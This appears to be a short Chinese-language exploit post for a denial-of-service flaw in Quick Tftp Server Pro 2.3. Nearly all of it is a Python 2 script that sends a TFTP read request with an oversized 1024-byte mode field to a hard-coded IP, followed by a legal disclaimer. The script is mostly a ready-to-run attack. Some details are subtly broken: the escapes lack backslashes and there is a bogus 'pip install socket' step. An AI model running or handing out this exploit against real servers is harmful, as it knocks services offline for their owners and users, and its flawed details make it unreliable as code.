Quick Tftp Server Pro 2.3 读取模式拒绝服务

Quick Tftp Server Pro 是一个使用较为广泛的tftp的服务软件

在读取模式下,会造成拒绝服务

以下为python代码

需要安装socket组件,一般会自带,如果没有就使用pip install socket即可

import socket

host    = "192.168.135.132"
port    = 69

request = "x00x01"    # TFTP Read Request (RRQ)
file    = "file.txt"
mode    = 'x41' * 1024 # Overflow

buffer  = request + file + "x00" + mode + "x00"

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        print "[*] Sending buffer to %s (%d bytes)..." % (host, len(buffer))
        s.sendto(buffer, (host, port))
        s.close()
        print "[*] Done."
except:
        print "[-] Error connecting"

以上代码具有攻击性,请遵守当地法律法规,此代码只作为技术交流使用,请勿使用非法用途。